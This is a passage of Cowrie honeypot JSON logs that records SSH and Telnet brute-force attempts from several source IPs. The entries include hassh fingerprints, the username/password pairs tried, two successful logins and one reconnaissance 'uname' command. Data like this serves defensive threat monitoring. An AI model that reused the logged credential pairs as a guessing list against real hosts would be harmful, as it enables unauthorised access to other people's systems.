an-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:53.042226Z","src_ip":"138.124.158.150","session":"26cbb53e939b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:53.799855Z","src_ip":"138.124.158.150","session":"26cbb53e939b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:53.976911Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:53.984228Z","src_ip":"138.124.158.150","session":"26cbb53e939b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47198,"dst_ip":"159.203.135.109","dst_port":22,"session":"c676b153a385","protocol":"ssh","message":"New connection: 2.57.122.208:47198 (159.203.135.109:22) [session: c676b153a385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:09.834367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:09.924643Z","src_ip":"2.57.122.208","session":"c676b153a385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:10.036760Z","src_ip":"2.57.122.208","session":"c676b153a385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:11.127556Z","src_ip":"2.57.122.208","session":"c676b153a385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:12.326730Z","src_ip":"2.57.122.208","session":"c676b153a385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46178,"dst_ip":"10.17.0.5","dst_port":22,"session":"810d2dcbd361","protocol":"ssh","message":"New connection: 103.15.226.202:46178 (10.17.0.5:22) [session: 810d2dcbd361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:45.140599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:45.150980Z","src_ip":"103.15.226.202","session":"810d2dcbd361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:45.402941Z","src_ip":"103.15.226.202","session":"810d2dcbd361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AHdianxin@1234","message":"login attempt [root/AHdianxin@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:46.162606Z","src_ip":"103.15.226.202","session":"810d2dcbd361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:47.413788Z","src_ip":"103.15.226.202","session":"810d2dcbd361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":51322,"dst_ip":"159.203.135.109","dst_port":23,"session":"665c7e77c248","protocol":"telnet","message":"New connection: 166.62.41.96:51322 (159.203.135.109:23) [session: 665c7e77c248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:18:55.310213Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":56780,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd106c3db87","protocol":"ssh","message":"New connection: 138.124.158.150:56780 (10.17.0.5:22) [session: ecd106c3db87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:19:18.910783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:19:19.527658Z","src_ip":"138.124.158.150","session":"ecd106c3db87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:19:19.692406Z","src_ip":"138.124.158.150","session":"ecd106c3db87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"1q2w3e4r5t6y","message":"login attempt [gpadmin/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:19:20.398995Z","src_ip":"138.124.158.150","session":"ecd106c3db87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:19:21.577998Z","src_ip":"138.124.158.150","session":"ecd106c3db87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.826528787612915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:19:26.136621Z","src_ip":"166.62.41.96","session":"665c7e77c248","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52492,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab3d28b1e45","protocol":"ssh","message":"New connection: 2.57.122.208:52492 (159.203.135.109:22) [session: 5ab3d28b1e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:47.243966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:47.447304Z","src_ip":"2.57.122.208","session":"5ab3d28b1e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:47.451758Z","src_ip":"2.57.122.208","session":"5ab3d28b1e45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:48.531975Z","src_ip":"2.57.122.208","session":"5ab3d28b1e45","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:49.203745Z","src_ip":"2.57.122.208","session":"5ab3d28b1e45","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:49.207234Z","src_ip":"2.57.122.208","session":"5ab3d28b1e45","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:49.436530Z","src_ip":"2.57.122.208","session":"5ab3d28b1e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:49.441332Z","src_ip":"2.57.122.208","session":"5ab3d28b1e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":53596,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b4103583379","protocol":"ssh","message":"New connection: 138.124.158.150:53596 (10.17.0.5:22) [session: 5b4103583379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:50.059415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:50.062822Z","src_ip":"138.124.158.150","session":"5b4103583379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:50.233292Z","src_ip":"138.124.158.150","session":"5b4103583379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password@123","message":"login attempt [deploy/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:50.952646Z","src_ip":"138.124.158.150","session":"5b4103583379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:20:52.551719Z","src_ip":"138.124.158.150","session":"5b4103583379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":25966,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e613948b71c","protocol":"telnet","message":"New connection: 212.55.149.117:25966 (10.17.0.5:23) [session: 7e613948b71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:21:13.599464Z"}
{"eventid":"cowrie.session.closed","duration":60.751298904418945,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:14.350672Z","src_ip":"212.55.149.117","session":"7e613948b71c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53656,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d5ac2ce137","protocol":"ssh","message":"New connection: 103.15.226.202:53656 (10.17.0.5:22) [session: 54d5ac2ce137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:21.063289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:21.068001Z","src_ip":"103.15.226.202","session":"54d5ac2ce137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:21.312365Z","src_ip":"103.15.226.202","session":"54d5ac2ce137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234Qwer","message":"login attempt [root/1234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:22.041656Z","src_ip":"103.15.226.202","session":"54d5ac2ce137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:23.287621Z","src_ip":"103.15.226.202","session":"54d5ac2ce137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":51988,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ad89249c81","protocol":"ssh","message":"New connection: 138.124.158.150:51988 (10.17.0.5:22) [session: 63ad89249c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:27.428684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:27.433259Z","src_ip":"138.124.158.150","session":"63ad89249c81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:27.608828Z","src_ip":"138.124.158.150","session":"63ad89249c81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1qaz2wsx","message":"login attempt [hadoop/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:28.350018Z","src_ip":"138.124.158.150","session":"63ad89249c81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":25501,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfb0e4708641","protocol":"ssh","message":"New connection: 193.24.211.100:25501 (159.203.135.109:22) [session: bfb0e4708641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:28.649551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:22:28.654186Z","src_ip":"193.24.211.100","session":"bfb0e4708641","protocol":"ssh"}
